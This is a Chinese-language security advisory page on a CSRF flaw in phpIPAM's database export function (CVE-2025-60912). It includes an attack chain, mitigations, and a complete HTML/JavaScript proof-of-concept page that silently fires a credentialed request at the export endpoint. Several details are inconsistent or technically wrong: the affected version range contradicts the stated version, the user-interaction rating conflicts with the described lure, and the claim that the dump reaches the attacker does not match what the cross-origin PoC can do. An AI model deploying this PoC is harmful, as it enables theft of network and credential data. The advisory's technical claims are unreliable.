IPBUF安全漏洞报告
English
CVE-2025-60912 CVSS 3.3 低危

CVE-2025-60912 phpIPAM CSRF漏洞导致数据库导出

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-60912
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
3.3 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
phpIPAM v1.7.3

相关标签

CSRF跨站请求伪造phpIPAM数据库导出会话劫持信息泄露

漏洞概述

phpIPAM v1.7.3版本中存在一个跨站请求伪造(CSRF)漏洞,该漏洞位于数据库导出功能模块。具体来说,/app/admin/import-export/端点下的generate-mysql.php函数缺乏有效的CSRF防护机制。攻击者可以通过诱导已登录的管理员用户访问恶意构造的网页,利用管理员的有效会话自动发送HTTP GET请求,从而触发phpIPAM系统执行数据库导出操作。成功利用此漏洞可导致整个数据库被导出并下载,数据库中可能包含IP地址管理信息、子网数据、用户凭证等敏感信息。由于该漏洞需要管理员会话处于活跃状态才能利用,因此被评定为低危漏洞。攻击复杂度较高,需要结合社会工程学手段诱骗管理员点击恶意链接。

技术细节

该CSRF漏洞源于phpIPAM的数据库导出功能未实现CSRF令牌验证机制。漏洞核心在于generate-mysql.php脚本接收HTTP请求后直接执行数据库导出操作,而不验证请求来源的合法性。攻击者构造一个包含自动提交表单或JavaScript代码的恶意页面,当管理员访问该页面且当前持有phpIPAM的有效会话时,浏览器会自动向https://target-ip/app/admin/import-export/generate-mysql.php发送GET请求。由于浏览器会自动携带目标域的Cookie信息,服务器端会认为这是合法的管理员操作,从而执行数据库导出并返回完整的数据库转储文件。攻击者通过这种方式可以获取包含所有IP地址、网段信息、用户账户哈希密码、网络拓扑等敏感数据的完整数据库副本。防御此类漏洞需要在所有状态变更操作中引入CSRF令牌,并在服务器端验证令牌的正确性。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意代码的网页,该代码会自动向phpIPAM的数据库导出端点发送HTTP GET请求
STEP 2
步骤2
攻击者通过社会工程学手段(如钓鱼邮件、即时消息等)诱导目标phpIPAM管理员访问该恶意网页
STEP 3
步骤3
管理员浏览器加载恶意页面后,由于浏览器自动携带phpIPAM域的会话Cookie,恶意请求以管理员身份发送
STEP 4
步骤4
phpIPAM服务器接收到请求后,由于缺乏CSRF验证,误认为是合法管理员操作,执行数据库导出功能
STEP 5
步骤5
数据库转储文件(包含所有IP、用户凭证、网络配置等敏感数据)被返回给攻击者的恶意页面
STEP 6
步骤6
攻击者通过JavaScript自动下载数据库文件,获取目标系统的完整数据库副本用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-60912 --> <!-- Auto-trigger database export for phpIPAM v1.7.3 --> <!DOCTYPE html> <html> <head> <title>phpIPAM Database Export CSRF</title> </head> <body> <h2>CVE-2025-60912 CSRF Attack</h2> <p>If you see this message, the attack is in progress...</p> <script type="text/javascript"> // Auto-submit form to trigger database export window.onload = function() { // Target phpIPAM database export endpoint var targetUrl = 'http://target-ip/app/admin/import-export/generate-mysql.php'; // Create and submit GET request fetch(targetUrl, { method: 'GET', credentials: 'include' // Include cookies for authenticated session }) .then(response => response.blob()) .then(blob => { // Download the exported database var url = window.URL.createObjectURL(blob); var a = document.createElement('a'); a.href = url; a.download = 'phpipam_database_export.sql'; document.body.appendChild(a); a.click(); window.URL.revokeObjectURL(url); }) .catch(error => console.log('Export triggered: ' + error)); }; </script> </body> </html>

影响范围

phpIPAM < 1.7.3

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制管理员访问phpIPAM管理界面,僅允许从受信任的IP地址访问;2)使用Web应用防火墙(WAF)规则阻止对/app/admin/import-export/端点的异常请求;3)管理员在不使用时及时登出系统,避免长时间保持活跃会话;4)监控数据库导出功能的访问日志,及时发现异常导出行为;5)考虑暂时禁用数据库导出功能或限制导出频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表